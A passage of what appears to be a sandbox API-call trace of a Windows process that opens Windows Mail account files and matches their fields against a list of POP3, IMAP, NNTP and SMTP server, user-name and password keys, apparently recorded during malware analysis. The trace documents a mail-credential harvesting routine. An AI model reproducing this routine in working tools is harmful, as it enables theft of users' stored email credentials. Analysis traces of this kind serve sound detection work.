returned -1 [0074.205] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1 [0074.205] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1 [0074.206] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1 [0074.206] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1 [0074.206] strlen (_Str="type") returned 0x4 [0074.206] strlen (_Str="BINARY") returned 0x6 [0074.206] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.206] strcmp (_Str1="Last_Updated", _Str2="Account_Name") returned 1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="POP3_Server") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="IMAP_Server") returned 1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="NNTP_Server") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="SMTP_Server") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="POP3_User_Name") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="IMAP_User_Name") returned 1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="NNTP_User_Name") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="SMTP_User_Name") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="POP3_Password2") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="IMAP_Password2") returned 1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="NNTP_Password2") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="SMTP_Password2") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="NNTP_Email_Address") returned -1 [0074.206] strcmp (_Str1="Last_Updated", _Str2="SMTP_Email_Address") returned -1 [0074.206] _strcmpi (_Str1="Last_Updated", _Str2="SMTP_Port") returned -1 [0074.206] _strcmpi (_Str1="Last_Updated", _Str2="NNTP_Port") returned -1 [0074.206] _strcmpi (_Str1="Last_Updated", _Str2="IMAP_Port") returned 1 [0074.206] _strcmpi (_Str1="Last_Updated", _Str2="POP3_Port") returned -1 [0074.206] _strcmpi (_Str1="Last_Updated", _Str2="SMTP_Secure_Connection") returned -1 [0074.206] _strcmpi (_Str1="Last_Updated", _Str2="NNTP_Secure_Connection") returned -1 [0074.206] _strcmpi (_Str1="Last_Updated", _Str2="IMAP_Secure_Connection") returned 1 [0074.206] _strcmpi (_Str1="Last_Updated", _Str2="POP3_Secure_Connection") returned -1 [0074.206] strlen (_Str="type") returned 0x4 [0074.206] strlen (_Str="DWORD") returned 0x5 [0074.206] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.206] strcmp (_Str1="Connection_Type", _Str2="Account_Name") returned 1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="POP3_Server") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="IMAP_Server") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="NNTP_Server") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="SMTP_Server") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="POP3_User_Name") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="IMAP_User_Name") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="NNTP_User_Name") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="SMTP_User_Name") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="POP3_Password2") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="IMAP_Password2") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="NNTP_Password2") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="SMTP_Password2") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="NNTP_Email_Address") returned -1 [0074.206] strcmp (_Str1="Connection_Type", _Str2="SMTP_Email_Address") returned -1 [0074.206] _strcmpi (_Str1="Connection_Type", _Str2="SMTP_Port") returned -1 [0074.206] _strcmpi (_Str1="Connection_Type", _Str2="NNTP_Port") returned -1 [0074.206] _strcmpi (_Str1="Connection_Type", _Str2="IMAP_Port") returned -1 [0074.206] _strcmpi (_Str1="Connection_Type", _Str2="POP3_Port") returned -1 [0074.206] _strcmpi (_Str1="Connection_Type", _Str2="SMTP_Secure_Connection") returned -1 [0074.206] _strcmpi (_Str1="Connection_Type", _Str2="NNTP_Secure_Connection") returned -1 [0074.206] _strcmpi (_Str1="Connection_Type", _Str2="IMAP_Secure_Connection") returned -1 [0074.207] _strcmpi (_Str1="Connection_Type", _Str2="POP3_Secure_Connection") returned -1 [0074.207] strlen (_Str="type") returned 0x4 [0074.207] strlen (_Str="SZ") returned 0x2 [0074.207] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="Account_Name") returned 1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="POP3_Server") returned -1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="IMAP_Server") returned 1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Server") returned 0 [0074.207] strlen (_Str="msnews.microsoft.com") returned 0x14 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Server") returned -1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="POP3_User_Name") returned -1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="IMAP_User_Name") returned 1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="NNTP_User_Name") returned -1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="SMTP_User_Name") returned -1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="POP3_Password2") returned -1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="IMAP_Password2") returned 1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Password2") returned 1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Password2") returned -1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="NNTP_Email_Address") returned 1 [0074.207] strcmp (_Str1="NNTP_Server", _Str2="SMTP_Email_Address") returned -1 [0074.207] _strcmpi (_Str1="NNTP_Server", _Str2="SMTP_Port") returned -1 [0074.207] _strcmpi (_Str1="NNTP_Server", _Str2="NNTP_Port") returned 1 [0074.207] _strcmpi (_Str1="NNTP_Server", _Str2="IMAP_Port") returned 1 [0074.207] _strcmpi (_Str1="NNTP_Server", _Str2="POP3_Port") returned -1 [0074.207] _strcmpi (_Str1="NNTP_Server", _Str2="SMTP_Secure_Connection") returned -1 [0074.207] _strcmpi (_Str1="NNTP_Server", _Str2="NNTP_Secure_Connection") returned 1 [0074.207] _strcmpi (_Str1="NNTP_Server", _Str2="IMAP_Secure_Connection") returned 1 [0074.207] _strcmpi (_Str1="NNTP_Server", _Str2="POP3_Secure_Connection") returned -1 [0074.207] CloseHandle (hObject=0x10c) returned 1 [0074.207] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ea88 | out: lpFindFileData=0x30ea88) returned 1 [0074.207] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.207] strlen (_Str="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 0x37 [0074.207] _mbscpy (in: param_1=0x30ebc8, param_2=0x30ed0c | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.207] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.207] _mbscat (in: param_1=0x30ebc8, param_2=0x414078 | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.207] _mbscat (in: param_1=0x30ebc8, param_2=0x30eab4 | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.207] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c [0074.208] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6c8 [0074.208] SetFilePointer (in: hFile=0x10c, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0074.208] ReadFile (in: hFile=0x10c, lpBuffer=0x8f6d70, nNumberOfBytesToRead=0x6c6, lpNumberOfBytesRead=0x30e904, lpOverlapped=0x0 | out: lpBuffer=0x8f6d70*, lpNumberOfBytesRead=0x30e904*=0x6c6, lpOverlapped=0x0) returned 1 [0074.208] wcslen (_String="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n") returned 0x363 [0074.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x10da08, cbMultiByte=868, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n", lpUsedDefaultChar=0x0) returned 868 [0074.209] strlen (_Str="\r\n\r\n 00000000\r\n Active Directory\r\n NULL\r\n 00000064\r\n 0000003c\r\n 00000002\r\n 00000000\r\n 00000000\r\n 00000cc4\r\n 00000001\r\n 00000000\r\n NULL\r\n NULL\r\n\r\n") returned 0x363 [0074.209] strlen (_Str="version") returned 0x7 [0074.209] strlen (_Str="1.0") returned 0x3 [0074.209] strlen (_Str="encoding") returned 0x8 [0074.209] strlen (_Str="utf-16") returned 0x6 [0074.209] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.209] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.209] strlen (_Str="type") returned 0x4 [0074.209] strlen (_Str="DWORD") returned 0x5 [0074.209] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="Account_Name") returned 1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Server") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Server") returned 1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Server") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Server") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_User_Name") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_User_Name") returned 1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_User_Name") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_User_Name") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Password2") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Password2") returned 1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Password2") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Password2") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Email_Address") returned -1 [0074.209] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Email_Address") returned -1 [0074.209] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Port") returned -1 [0074.209] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Port") returned -1 [0074.209] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Port") returned 1 [0074.209] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Port") returned -1 [0074.209] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Secure_Connection") returned -1 [0074.209] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Secure_Connection") returned -1 [0074.209] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Secure_Connection") returned 1 [0074.209] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Secure_Connection") returned -1 [0074.209] strlen (_Str="type") returned 0x4 [0074.209] strlen (_Str="SZ") returned 0x2 [0074.210] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.210] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0 [0074.210] strlen (_Str="Active Directory") returned 0x10 [0074.210] strlen (_Str="Active Directory") returned 0x10 [0074.210] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1 [0074.210] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1 [0074.210] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1 [0074.210] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1 [0074.210] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1 [0074.210] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1 [0074.210] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1 [0074.210] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1 [0074.210] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1 [0074.210] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1 [0074.210] strlen (_Str="type") returned 0x4 [0074.210] strlen (_Str="SZ") returned 0x2 [0074.210] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="Account_Name") returned 1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="POP3_Server") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Server") returned 1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Server") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Server") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="POP3_User_Name") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="IMAP_User_Name") returned 1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="NNTP_User_Name") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="SMTP_User_Name") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="POP3_Password2") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Password2") returned 1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Password2") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Password2") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Email_Address") returned -1 [0074.210] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Email_Address") returned -1 [0074.210] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Port") returned -1 [0074.210] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Port") returned -1 [0074.210] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Port") returned 1 [0074.210] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Port") returned -1 [0074.210] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Secure_Connection") returned -1 [0074.210] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Secure_Connection") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Secure_Connection") returned 1 [0074.211] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Secure_Connection") returned -1 [0074.211] strlen (_Str="type") returned 0x4 [0074.211] strlen (_Str="DWORD") returned 0x5 [0074.211] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="Account_Name") returned 1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Server") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Server") returned 1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Server") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Server") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_User_Name") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_User_Name") returned 1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_User_Name") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_User_Name") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Password2") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Password2") returned 1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Password2") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Password2") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Email_Address") returned -1 [0074.211] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Email_Address") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Port") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Port") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Port") returned 1 [0074.211] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Port") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Secure_Connection") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Secure_Connection") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Secure_Connection") returned 1 [0074.211] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Secure_Connection") returned -1 [0074.211] strlen (_Str="type") returned 0x4 [0074.211] strlen (_Str="DWORD") returned 0x5 [0074.211] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="Account_Name") returned 1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Server") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Server") returned 1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Server") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Server") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_User_Name") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_User_Name") returned 1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_User_Name") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_User_Name") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Password2") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Password2") returned 1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Password2") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Password2") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Email_Address") returned -1 [0074.211] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Email_Address") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Port") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Port") returned -1 [0074.211] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Port") returned 1 [0074.212] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Port") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Secure_Connection") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Secure_Connection") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Secure_Connection") returned 1 [0074.212] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Secure_Connection") returned -1 [0074.212] strlen (_Str="type") returned 0x4 [0074.212] strlen (_Str="DWORD") returned 0x5 [0074.212] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="Account_Name") returned 1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Server") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Server") returned 1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Server") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Server") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_User_Name") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_User_Name") returned 1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_User_Name") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_User_Name") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Password2") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Password2") returned 1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Password2") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Password2") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Email_Address") returned -1 [0074.212] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Email_Address") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Port") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Port") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Port") returned 1 [0074.212] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Port") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Secure_Connection") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Secure_Connection") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Secure_Connection") returned 1 [0074.212] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Secure_Connection") returned -1 [0074.212] strlen (_Str="type") returned 0x4 [0074.212] strlen (_Str="DWORD") returned 0x5 [0074.212] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="Account_Name") returned 1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Server") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Server") returned 1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Server") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Server") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_User_Name") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_User_Name") returned 1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_User_Name") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_User_Name") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Password2") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Password2") returned 1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Password2") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Password2") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Email_Address") returned -1 [0074.212] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Email_Address") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Port") returned -1 [0074.212] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Port") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Port") returned 1 [0074.213] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Port") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Secure_Connection") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Secure_Connection") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Secure_Connection") returned 1 [0074.213] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Secure_Connection") returned -1 [0074.213] strlen (_Str="type") returned 0x4 [0074.213] strlen (_Str="DWORD") returned 0x5 [0074.213] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="Account_Name") returned 1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_Server") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_Server") returned 1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Server") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Server") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_User_Name") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_User_Name") returned 1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_User_Name") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_User_Name") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="POP3_Password2") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="IMAP_Password2") returned 1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Password2") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Password2") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="NNTP_Email_Address") returned -1 [0074.213] strcmp (_Str1="LDAP_Bind_DN", _Str2="SMTP_Email_Address") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="SMTP_Port") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="NNTP_Port") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="IMAP_Port") returned 1 [0074.213] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="POP3_Port") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="SMTP_Secure_Connection") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="NNTP_Secure_Connection") returned -1 [0074.213] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="IMAP_Secure_Connection") returned 1 [0074.213] _strcmpi (_Str1="LDAP_Bind_DN", _Str2="POP3_Secure_Connection") returned -1 [0074.213] strlen (_Str="type") returned 0x4 [0074.213] strlen (_Str="DWORD") returned 0x5 [0074.213] _mbscpy (in: 